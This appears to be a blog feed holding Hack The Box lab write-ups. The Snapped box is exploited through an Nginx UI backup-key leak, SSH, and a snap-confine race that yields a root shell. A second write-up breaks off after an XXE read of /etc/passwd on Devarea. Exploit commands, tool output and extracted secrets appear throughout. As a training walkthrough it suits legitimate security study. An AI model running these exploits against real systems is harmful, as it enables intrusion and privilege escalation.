<h3 id="save-browser-session">Save Browser Session</h3>

<p>Before runtime ends:</p>

<p>bash /content/drive/MyDrive/colab-vm/scripts/save_profile.sh</p>

<p>and enjoy your cloud desktop :)
thanks for reading btw.</p>]]></content><author><name>Surajit Sen</name><email>sensurajit@proton.me</email></author><category term="post" /><summary type="html"><![CDATA[google colab gone wrong !]]></summary></entry><entry><title type="html">HTB – Snapped</title><link href="https://surajitsen.live/htb/2026/04/28/snappedhtb.html" rel="alternate" type="text/html" title="HTB – Snapped" /><published>2026-04-28T00:00:00+05:30</published><updated>2026-04-28T00:00:00+05:30</updated><id>https://surajitsen.live/htb/2026/04/28/snappedhtb</id><content type="html" xml:base="https://surajitsen.live/htb/2026/04/28/snappedhtb.html"><![CDATA[<h2 id="initial-enumeration">Initial Enumeration</h2>

<p>After getting the target ip address, the first step was to perform an Nmap scan to identify open ports and services:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-sC</span> <span class="nt">-sV</span> <span class="nt">-A</span> <span class="nt">-p-</span> <span class="nt">-O</span> <span class="nt">--min-rate</span><span class="o">=</span>1000 10.129.42.237
</code></pre></div></div>

<p><strong>Scan Results:</strong></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Starting Nmap 7.95 at 2026-04-28 02:15 EDT
Nmap scan report for 10.129.42.237
Host is up (0.29s latency).
Not shown: 65533 closed tcp ports (reset)

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.15
| ssh-hostkey: 
|   256 4b:c1:eb:48:87:4a:08:54:89:70:93:b7:c7:a9:ea:79 (ECDSA)
|_  256 46:da:a5:65:91:c9:08:99:b2:96:1d:46:0b:fc:df:63 (ED25519)

80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://snapped.htb/

Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
</code></pre></div></div>

<h2 id="web-enumeration--subdomain-discovery">Web Enumeration &amp; Subdomain Discovery</h2>

<p>Navigating to <code class="language-plaintext highlighter-rouge">http://10.129.42.237</code> revealed a redirect to <code class="language-plaintext highlighter-rouge">http://snapped.htb</code>. The domain was added to <code class="language-plaintext highlighter-rouge">/etc/hosts</code>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s2">"10.129.42.237 snapped.htb"</span> | <span class="nb">tee</span> <span class="nt">-a</span> /etc/hosts
</code></pre></div></div>

<p>Initial browsing of <code class="language-plaintext highlighter-rouge">snapped.htb</code> didn’t revealed anything juicy, so subdomain fuzzing was performed:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ffuf <span class="nt">-w</span> /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt <span class="se">\</span>
      <span class="nt">-u</span> http://snapped.htb <span class="nt">-H</span> <span class="s2">"HOST: FUZZ.snapped.htb"</span> <span class="nt">-mc</span> 200
</code></pre></div></div>

<p><strong>Discovery:</strong></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>admin                   [Status: 200, Size: 1407, Words: 164, Lines: 50]
</code></pre></div></div>

<p>The subdomain <code class="language-plaintext highlighter-rouge">admin.snapped.htb</code> was added to <code class="language-plaintext highlighter-rouge">/etc/hosts</code> and accessed, revealing an <strong>Nginx UI</strong> dashboard.</p>

<h2 id="exploiting-cve-2026-27944-nginx-ui">Exploiting CVE-2026-27944 (Nginx UI)</h2>

<p>Research into Nginx UI vulnerabilities revealed:</p>

<h3 id="critical-vulnerabilities-2026">Critical Vulnerabilities (2026):</h3>

<ol>
  <li><strong>CVE-2026-33032 (MCPwn Authentication Bypass - CVSS 9.8)</strong>
    <ul>
      <li>The <code class="language-plaintext highlighter-rouge">/mcp_message</code> endpoint fails to enforce authentication</li>
      <li>Allows unauthenticated attackers to manage Nginx and execute commands</li>
    </ul>
  </li>
  <li><strong>CVE-2026-27944 (Unauthenticated Backup Download - CVSS 9.8)</strong>
    <ul>
      <li>Versions before 2.3.3 allow unauthenticated backup access</li>
      <li>AES-256 encryption key and IV disclosed in <code class="language-plaintext highlighter-rouge">X-Backup-Security</code> header</li>
      <li>Enables decryption of credentials, SSL keys, and configs</li>
    </ul>
  </li>
  <li><strong>CVE-2026-33026 (Backup Tampering &amp; Injection)</strong>
    <ul>
      <li>Fixed in 2.3.4, allows malicious config injection</li>
    </ul>
  </li>
</ol>

<h3 id="exploiting-the-backup-vulnerability">Exploiting the Backup Vulnerability</h3>

<p>Accessing <code class="language-plaintext highlighter-rouge">http://admin.snapped.htb/api/backup</code> downloaded a ZIP file:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>kali㉿blackXploit<span class="o">)</span>-[~/Downloads/snappedhtb]
└─<span class="nv">$ </span>file backup-20260428-022136.zip 
backup-20260428-022136.zip: Zip archive data

┌──<span class="o">(</span>kali㉿blackXploit<span class="o">)</span>-[~/Downloads/snappedhtb]
└─<span class="nv">$ </span>unzip backup-20260428-022136.zip 
Archive:  backup-20260428-022136.zip
  inflating: hash_info.txt           
  inflating: nginx-ui.zip            
  inflating: nginx.zip
</code></pre></div></div>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>kali㉿blackXploit<span class="o">)</span>-[~/Downloads/snappedhtb]
└─<span class="nv">$ </span><span class="nb">cat </span>hash_info.txt 
�<span class="o">)</span>+��ƺ�c��MfL�U98�5�5Ԕ��G�c�]F�Ujr<span class="s1">'���|�!
%&amp;��(���x       �9t5�Q�]_&gt;��(@��B��k���c��7�2_O��#��\�����&gt;�c{�Q�����ڄ�&gt;l�����ƝT7/�}��X��uC��(
�A(�K�/��
         ��
           ց��0QS�軭��  
</span></code></pre></div></div>
<p>its encrypted 
The <code class="language-plaintext highlighter-rouge">X-Backup-Security</code> header contained the encryption key and IV:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>kali㉿blackXploit<span class="o">)</span>-[~/Downloads/snappedhtb]
└─<span class="nv">$ </span>curl <span class="nt">-v</span> http://admin.snapped.htb/api/backup <span class="nt">-o</span> backup.zip 2&gt;&amp;1 | <span class="nb">grep</span> <span class="nt">-i</span> <span class="s2">"X-Backup-Security"</span>
&lt; X-Backup-Security: 4kaig8RUr+4NSvfJ6Of3bj6W7nP9VwYP9IjZGSiGCto<span class="o">=</span>:wevqrDQJpKHXzrJSr+taQg<span class="o">==</span>
</code></pre></div></div>
<h3 id="decrypting-the-backup">Decrypting the Backup</h3>

<p>Using a public exploit for CVE-2026-27944:</p>

<p>https://github.com/Skynoxk/CVE-2026-27944</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>kali㉿blackXploit<span class="o">)</span>-[~/Downloads/snappedhtb/CVE-2026-27944-POC]
└─<span class="nv">$ </span>python exploit_enhanced.py <span class="nt">--target</span> http://admin.snapped.htb <span class="nt">--decrypt</span> <span class="nt">--show-secrets</span>
        
<span class="o">======================================================================</span>
CVE-2026-27944 - Nginx UI Unauthenticated Backup Download + Dashboard Access
<span class="o">======================================================================</span>

<span class="o">[</span><span class="k">*</span><span class="o">]</span> Downloading backup from http://admin.snapped.htb/api/backup
<span class="o">[</span>+] Backup downloaded successfully <span class="o">(</span>18306 bytes<span class="o">)</span>
<span class="o">[</span>+] Saved to: backup.bin

<span class="o">[</span><span class="k">*</span><span class="o">]</span> X-Backup-Security header: FHAHISTlSj7auC9HPLsz6xby+mBvo3bvbl7VMyNOWZE<span class="o">=</span>:ZMpW3hraTFvZc/EF6Rr+jw<span class="o">==</span>
<span class="o">[</span>+] Parsed AES-256 key: FHAHISTlSj7auC9HPLsz6xby+mBvo3bvbl7VMyNOWZE<span class="o">=</span>
<span class="o">[</span>+] Parsed AES IV    : ZMpW3hraTFvZc/EF6Rr+jw<span class="o">==</span>

<span class="o">[</span>+] Key length: 32 bytes <span class="o">(</span>AES-256 ✓<span class="o">)</span>
<span class="o">[</span>+] IV length : 16 bytes <span class="o">(</span>AES block size ✓<span class="o">)</span>

<span class="o">[</span><span class="k">*</span><span class="o">]</span> Extracting encrypted backup to backup_extracted
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Main archive contains: <span class="o">[</span><span class="s1">'hash_info.txt'</span>, <span class="s1">'nginx-ui.zip'</span>, <span class="s1">'nginx.zip'</span><span class="o">]</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Decrypting hash_info.txt...
    → Saved to backup_extracted/hash_info.txt.decrypted <span class="o">(</span>199 bytes<span class="o">)</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Decrypting nginx-ui.zip...
    → Saved to backup_extracted/nginx-ui_decrypted.zip <span class="o">(</span>7688 bytes<span class="o">)</span>
    → Extracted 2 files to backup_extracted/nginx-ui
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Decrypting nginx.zip...
    → Saved to backup_extracted/nginx_decrypted.zip <span class="o">(</span>9936 bytes<span class="o">)</span>
    → Extracted 22 files to backup_extracted/nginx

<span class="o">[</span><span class="k">*</span><span class="o">]</span> Hash info:
nginx-ui_hash: 4ad8655192ed5ee220cb820d46db34c1049c37ef4a7ddc5482010620976e72bb
nginx_hash: 2f0263bd95d62226c216fff4bc222711b713e9b4a993207dc8695137c536af09
timestamp: 20260428-024653
version: 2.3.2


<span class="o">[</span><span class="k">*</span><span class="o">]</span> Extracting secrets from backup_extracted/nginx-ui/app.ini
<span class="o">[</span>+] Secrets extracted:
    JWT Secret    : 6c4af436-035a-4942-9ca6-172b36696ce9
    Node Secret   : c64d7ca1-19cb-4ebe-96d4-49037e7df78e
    Crypto Secret : 5c942292647d73f597f47c0be2237bf7347cdb70a0e8e8558e448318862357d6
    Email         : admin@test.htb

<span class="o">[</span><span class="k">*</span><span class="o">]</span> Verifying Node Secret bypass...
<span class="o">[</span>+] Node Secret verified! Admin API access confirmed
<span class="o">[</span>+] Total <span class="nb">users </span><span class="k">in </span>system: 2

┌──<span class="o">(</span>kali㉿blackXploit<span class="o">)</span>-[~/…/snappedhtb/CVE-2026-27944-POC/backup_extracted/nginx-ui]
└─<span class="nv">$ </span><span class="nb">ls                        
</span>app.ini  database.db
                                                                                             
┌──<span class="o">(</span>kali㉿blackXploit<span class="o">)</span>-[~/…/snappedhtb/CVE-2026-27944-POC/backup_extracted/nginx-ui]
└─<span class="nv">$ </span><span class="nb">pwd</span>                                                                                  
/home/kali/Downloads/snappedhtb/CVE-2026-27944-POC/backup_extracted/nginx-ui
</code></pre></div></div>
<p><img src="/assets/images/ctf/snapped/hash.png" alt="box" />
<img src="/assets/images/ctf/snapped/db.png" alt="box" /></p>

<h2 id="ssh-access">SSH Access</h2>

<p>After cracking the password for user <code class="language-plaintext highlighter-rouge">jonathan</code>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>kali㉿blackXploit<span class="o">)</span>-[~/Downloads]
└─<span class="nv">$ </span>ssh jonathan@snapped.htb
The authenticity of host <span class="s1">'snapped.htb (10.129.42.237)'</span> can<span class="s1">'t be established.
ED25519 key fingerprint is: SHA256:n0XlQQqHGczclhalpCeoOZDYQGr7rl3WlJytHLWPkr8
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '</span>snapped.htb<span class="s1">' (ED25519) to the list of known hosts.
jonathan@snapped.htb'</span>s password: 
</code></pre></div></div>

<p><strong>Successful Login:</strong></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.17.0-19-generic x86_64)

jonathan@snapped:~$ ls
Desktop  Documents  Downloads  linpeas.sh  Music  Pictures  Public  snap  Templates  user.txt  Videos
</code></pre></div></div>

<h2 id="privilege-escalation-via-cve-2026-3888">Privilege Escalation via CVE-2026-3888</h2>

<h3 id="understanding-the-vulnerability">Understanding the Vulnerability</h3>

<p><strong>CVE-2026-3888</strong> is a local privilege escalation vulnerability in <code class="language-plaintext highlighter-rouge">snap-confine</code> and <code class="language-plaintext highlighter-rouge">systemd-tmpfiles</code>. Here’s how it works:</p>

<h4 id="step-1-the-regular-cleanup-the-trigger">Step 1: The Regular Cleanup (The Trigger)</h4>
<ul>
  <li>Linux systems use <code class="language-plaintext highlighter-rouge">systemd-tmpfiles</code> to delete old files in <code class="language-plaintext highlighter-rouge">/tmp</code> to save space</li>
  <li>By default, it clears out files every few weeks</li>
  <li><strong>The Flaw:</strong> When this service deletes <code class="language-plaintext highlighter-rouge">/tmp/.snap</code>, it briefly leaves a “hole” where that folder used to be</li>
</ul>

<h4 id="step-2-the-race-condition-the-timing">Step 2: The Race Condition (The Timing)</h4>
<ul>
  <li>This is a <strong>TOCTOU</strong> (Time-of-Check to Time-of-Use) bug</li>
  <li>An attacker cannot delete the folder themselves (no permission), so they wait for the system to do it</li>
  <li><strong>The Attack:</strong> The attacker runs a script that constantly watches that folder. The millisecond the system deletes it, the attacker’s script “races” to recreate a new version of that folder before the real snap service notices it’s gone</li>
</ul>

<h4 id="step-3-the-bait-and-switch">Step 3: The Bait-and-Switch</h4>
<ul>
  <li>Because the attacker created the new <code class="language-plaintext highlighter-rouge">/tmp/.snap</code> folder, they own it</li>
  <li>They place a “trap” inside: a symbolic link pointing to a sensitive part of the system (like the root filesystem)</li>
</ul>

<h4 id="step-4-the-elevation-the-payoff">Step 4: The Elevation (The Payoff)</h4>
<ul>
  <li>Any snap app starting (or triggered by the attacker) causes <code class="language-plaintext highlighter-rouge">snap-confine</code> to run</li>
  <li><code class="language-plaintext highlighter-rouge">snap-confine</code> sees the folder is missing or needs resetting, so it prepares the sandbox</li>
  <li>Because <code class="language-plaintext highlighter-rouge">snap-confine</code> runs with <strong>Root privileges</strong>, it follows the attacker’s “shortcut” without realizing it’s a trap</li>
  <li>It ends up mounting the attacker’s malicious files into a high-privilege area</li>
  <li><strong>The Result:</strong> The attacker, who started as a normal user, now has a “backdoor” into the system’s core and becomes <strong>Root</strong></li>
</ul>

<h3 id="system-information">System Information</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>jonathan@snapped:~<span class="nv">$ </span>snap <span class="nt">--version</span>
snap    2.63.1+24.04
snapd   2.63.1+24.04
series  16
ubuntu  24.04
kernel  6.17.0-19-generic
</code></pre></div></div>

<h3 id="executing-the-exploit">Executing the Exploit</h3>

<p>The exploit was run against the Firefox snap:</p>

<p>how this exploit works ?</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
systemd-tmpfiles deletes the stale .snap mimic directory under /tmp (30-day age-out)
Attacker recreates it with controlled content — all files owned by the attacker
Exploit single-steps snap-confine via AF_UNIX socket backpressure to reliably win the race during the mimic bind-mount sequence
Attacker-owned libraries are mounted into the sandbox as root
ld-linux-x86-64.so.2 is replaced with shellcode that calls setreuid(0,0) + execve
Executing SUID snap-confine triggers the shellcode with root privileges
SUID bash is dropped to /var/snap/firefox/common/ to escape the sandbox
</code></pre></div></div>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>jonathan@snapped:~/snap<span class="nv">$ </span>./exploit ./librootshell.so <span class="nt">-d</span> 
</code></pre></div></div>

<p><strong>Exploit Output:</strong></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>================================================================
    CVE-2026-3888 — snap-confine / systemd-tmpfiles SUID LPE
================================================================
[*] Payload: /home/jonathan/snap/./librootshell.so (9056 bytes)

[Phase 1] Entering Firefox sandbox...
[+] Inner shell PID: 65385

[Phase 2] Waiting for .snap deletion...
[*] --skip-wait: triggering cleanup...

[Phase 3] Race condition execution...
logger.go:93: DEBUG: need to create writable mimic needed to create path "/usr/lib/x86_64-linux-gnu/webkit2gtk-4.0"
logger.go:93: DEBUG: create-writable-mimic "/usr/lib/x86_64-linux-gnu"
logger.go:93: DEBUG: mount name:"/usr/lib/x86_64-linux-gnu" dir:"/tmp/.snap/usr/lib/x86_64-linux-gnu"

[!]   TRIGGER — swapping directories...
[+]   SWAP DONE — race won!
[*]   ld-linux in namespace: jonathan:jonathan 755
[+]   Poisoned namespace PID: 65882

[Phase 5] Injecting payload into poisoned namespace...
[+]   ld-linux owned by uid 1000 (attacker). Race confirmed.
[*]   Planting busybox...
[*]   Writing escape script → /tmp/sh
[*]   Overwriting ld-linux-x86-64.so.2...
[+]   Payload injected.

[Phase 6] Triggering root via SUID snap-confine...
[*]   snap-confine → snap-confine (SUID trigger)
[*]   Exit status: 0

[Phase 7] Verifying...
[+] SUID root bash: /var/snap/firefox/common/bash (mode 4755)
[*] Cleaning up background processes...

================================================================
  ROOT SHELL: /var/snap/firefox/common/bash -p
================================================================
</code></pre></div></div>

<h3 id="root-access-achieved">Root Access Achieved</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bash-5.1# <span class="nb">id
</span><span class="nv">uid</span><span class="o">=</span>1000<span class="o">(</span>jonathan<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>1000<span class="o">(</span>jonathan<span class="o">)</span> <span class="nv">euid</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span> <span class="nb">groups</span><span class="o">=</span>1000<span class="o">(</span>jonathan<span class="o">)</span>

bash-5.1# <span class="nb">ls
</span>Desktop  Documents  Downloads  linpeas.sh  Music  Pictures  Public  snap  Templates  user.txt  Videos

bash-5.1# <span class="nb">cd</span> /root
bash-5.1# <span class="nb">ls
</span>nginxui  root.txt  snap

bash-5.1# <span class="nb">cat </span>root.txt
redact
</code></pre></div></div>
<h2 id="references">References</h2>

<ul>
  <li><a href="https://github.com/TheCyberGeek/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE">CVE-2026-3888 Exploit on GitHub</a></li>
  <li><a href="https://github.com/Skynoxk/CVE-2026-27944">CVE-2026-27944</a></li>
</ul>

<p>Thanks for reading ! happy hacking</p>]]></content><author><name>Surajit Sen</name><email>sensurajit@proton.me</email></author><category term="htb" /><summary type="html"><![CDATA[Hack The Box snapped machine writeup]]></summary></entry><entry><title type="html">HTB – Devarea</title><link href="https://surajitsen.live/htb/2026/04/09/devarea-htb.html" rel="alternate" type="text/html" title="HTB – Devarea" /><published>2026-04-09T00:00:00+05:30</published><updated>2026-04-09T00:00:00+05:30</updated><id>https://surajitsen.live/htb/2026/04/09/devarea-htb</id><content type="html" xml:base="https://surajitsen.live/htb/2026/04/09/devarea-htb.html"><![CDATA[<p><img src="/assets/images/ctf/devarea/box.png" alt="box" /></p>

<p>after getting the ip i first ran</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-sC</span> <span class="nt">-sV</span> <span class="nt">-p-</span> <span class="nt">--min-rate</span><span class="o">=</span>10000 10.129.244.208
</code></pre></div></div>

<p><strong>got</strong></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.5
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.10.15.9
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.5 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 ftp      ftp          4096 Sep 22  2025 pub
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 83:13:6b:a1:9b:28:fd:bd:5d:2b:ee:03:be:9c:8d:82 (ECDSA)
|_  256 0a:86:fa:65:d1:20:b4:3a:57:13:d1:1a:c2:de:52:78 (ED25519)
80/tcp   open  http    Apache httpd 2.4.58
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: DevArea - Connect with Top Development Talent
8080/tcp open  http    Jetty 9.4.27.v20200227
|_http-title: Error 404 Not Found
|_http-server-header: Jetty(9.4.27.v20200227)
8500/tcp open  http    Golang net/http server
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 500 Internal Server Error
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Thu, 09 Apr 2026 07:49:11 GMT
|     Content-Length: 64
|     This is a proxy server. Does not respond to non-proxy requests.
|   GenericLines, Help, LPDString, RTSPRequest, SIPOptions, SSLSessionReq, Socks5: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 500 Internal Server Error
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Thu, 09 Apr 2026 07:48:52 GMT
|     Content-Length: 64
|     This is a proxy server. Does not respond to non-proxy requests.
|   HTTPOptions: 
|     HTTP/1.0 500 Internal Server Error
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Thu, 09 Apr 2026 07:48:53 GMT
|     Content-Length: 64
|_    This is a proxy server. Does not respond to non-proxy requests.
8888/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Hoverfly Dashboard
</code></pre></div></div>
<hr />
<p>so juicy right ? lets check whats inside this ftp server :</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>└─# ftp 10.129.244.208   
Connected to 10.129.244.208.
220 <span class="o">(</span>vsFTPd 3.0.5<span class="o">)</span>
Name <span class="o">(</span>10.129.244.208:kali<span class="o">)</span>: Anonymous
230 Login successful.
Remote system <span class="nb">type </span>is UNIX.
Using binary mode to transfer files.
ftp&gt; <span class="nb">dir
</span>229 Entering Extended Passive Mode <span class="o">(||</span>|43974|<span class="o">)</span>
150 Here comes the directory listing.
drwxr-xr-x    2 ftp      ftp          4096 Sep 22  2025 pub
226 Directory send OK.
ftp&gt; <span class="nb">cd </span>pub
250 Directory successfully changed.
ftp&gt; <span class="nb">dir
</span>229 Entering Extended Passive Mode <span class="o">(||</span>|41712|<span class="o">)</span>
150 Here comes the directory listing.
<span class="nt">-rw-r--r--</span>    1 ftp      ftp       6445030 Sep 22  2025 employee-service.jar
226 Directory send OK.
ftp&gt; get 

</code></pre></div></div>

<p><strong>Downloaded File:</strong></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>employee-service.jar (a java archive file ) lets see 
</code></pre></div></div>
<hr />
<h3 id="decompiling-with-jd-gui">Decompiling with jd-gui</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>jd-gui
</code></pre></div></div>
<p>open the file inside it</p>

<h3 id="juicy-file-serverstarterjava">juicy file: <code class="language-plaintext highlighter-rouge">ServerStarter.java</code></h3>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">package</span> <span class="nn">htb.devarea</span><span class="o">;</span>

<span class="kn">import</span> <span class="nn">org.apache.cxf.jaxws.JaxWsServerFactoryBean</span><span class="o">;</span>

<span class="kd">public</span> <span class="kd">class</span> <span class="nc">ServerStarter</span> <span class="o">{</span>
    <span class="kd">public</span> <span class="kd">static</span> <span class="kt">void</span> <span class="nf">main</span><span class="o">(</span><span class="nc">String</span><span class="o">[]</span> <span class="n">args</span><span class="o">)</span> <span class="o">{</span>
        <span class="nc">JaxWsServerFactoryBean</span> <span class="n">factory</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">JaxWsServerFactoryBean</span><span class="o">();</span>
        <span class="n">factory</span><span class="o">.</span><span class="na">setServiceClass</span><span class="o">(</span><span class="nc">EmployeeService</span><span class="o">.</span><span class="na">class</span><span class="o">);</span>
        <span class="n">factory</span><span class="o">.</span><span class="na">setServiceBean</span><span class="o">(</span><span class="k">new</span> <span class="nc">EmployeeServiceImpl</span><span class="o">());</span>
        <span class="n">factory</span><span class="o">.</span><span class="na">setAddress</span><span class="o">(</span><span class="s">"http://0.0.0.0:8080/employeeservice"</span><span class="o">);</span>
        <span class="n">factory</span><span class="o">.</span><span class="na">create</span><span class="o">();</span>
        <span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="s">"Employee Service running at http://localhost:8080/employeeservice"</span><span class="o">);</span>
        <span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="s">"WSDL available at http://localhost:8080/employeeservice?wsdl"</span><span class="o">);</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>
<p><img src="/assets/images/ctf/devarea/jd-gui.png" alt="box" /></p>
<h3 id="critical-observations">Critical Observations</h3>

<table>
  <thead>
    <tr>
      <th>Finding</th>
      <th>Implication</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Apache CXF</strong> JAX-WS implementation</td>
      <td>SOAP web service framework</td>
    </tr>
    <tr>
      <td>Running on <strong>Jetty 9.4.27</strong></td>
      <td>Released in 2020 - old and vulnerable</td>
    </tr>
    <tr>
      <td>Endpoint: <code class="language-plaintext highlighter-rouge">/employeeservice</code></td>
      <td>Exposed SOAP service</td>
    </tr>
    <tr>
      <td>WSDL available</td>
      <td>Service definition publicly accessible</td>
    </tr>
  </tbody>
</table>

<h3 id="vulnerability-research">Vulnerability Research</h3>

<p>Googling “Apache CXF Jetty 9.4.27 vulnerability” leads us to:</p>

<blockquote>
  <p><strong>CVE-2022-46364</strong> - Apache CXF XXE via XOP Include in MTOM SOAP requests</p>
</blockquote>

<p><strong>Vulnerability Details:</strong></p>
<ul>
  <li><strong>Affected Versions:</strong> Apache CXF ≤ 3.5.2 / ≤ 3.4.9</li>
  <li><strong>Impact:</strong> Arbitrary file read via XXE/SSRF</li>
  <li><strong>Vector:</strong> MTOM+XOP attachment processing</li>
</ul>

<blockquote>
  <p><strong>How it works:</strong> MTOM (Message Transmission Optimization Mechanism) uses <code class="language-plaintext highlighter-rouge">&lt;xop:Include href="..."&gt;</code> tags to reference binary attachments. The vulnerable CXF version doesn’t validate the URI scheme, allowing <code class="language-plaintext highlighter-rouge">file://</code> protocol to read local files.</p>
</blockquote>

<hr />

<h2 id="xxe-exploitation-cve-2022-46364">XXE Exploitation (CVE-2022-46364)</h2>

<h3 id="exploit-script-cve-2022-46364py">Exploit Script: <code class="language-plaintext highlighter-rouge">CVE-2022-46364.py</code></h3>

<p>I found a public PoC and modified it for our target. (https://github.com/kasem545/CVE-2022-46364-Poc)</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># python3 CVE-2022-46364.py

[CONFIG]
  Target:   http://devarea.htb:8080/employeeservice
  SSRF URL: file:///etc/passwd
  Domain:   devarea.htb
  Method:   MTOM

[*] Sending exploit payload...
[+] Server responded: HTTP 200

[RAW RESPONSE SNIPPET]
&lt;soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"&gt;&lt;soap:Body&gt;&lt;ns2:submitReportResponse xmlns:ns2="http://devarea.htb/"&gt;&lt;return&gt;Report received from cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjpt

[BASE64 EXTRACTED]
cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xv...

[EXFILTRATED CONTENT]
======================================================================
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nol
---
</code></pre></div></div>
<blockquote>
  <p><strong>Success!</strong> the user running the Jetty service.discovered a user: <code class="language-plaintext highlighter-rouge">dev_ryan</code>.</p>
</blockquote>

<h3 id="finding-hoverfly-configuration">Finding Hoverfly Configuration</h3>
<p>as we have previously discovered the Hoverfly instance on port 8080 i quickly googled any vulnerability exits or not and found CVE-2025-54123 - Hoverfly Command Injection (RCE) 
The vulnerability exists in the middleware management API endpoint /api/v2/hoverfly/middleware where insufficient input validation and sanitization allows attackers to inject and execute arbitrary system commands. This flaw enables unauthenticated remote code execution (RCE) on any system running vulnerable Hoverfly versions 1.11.3 and prior.
more : https://www.sentinelone.com/vulnerability-database/cve-2025-54123/
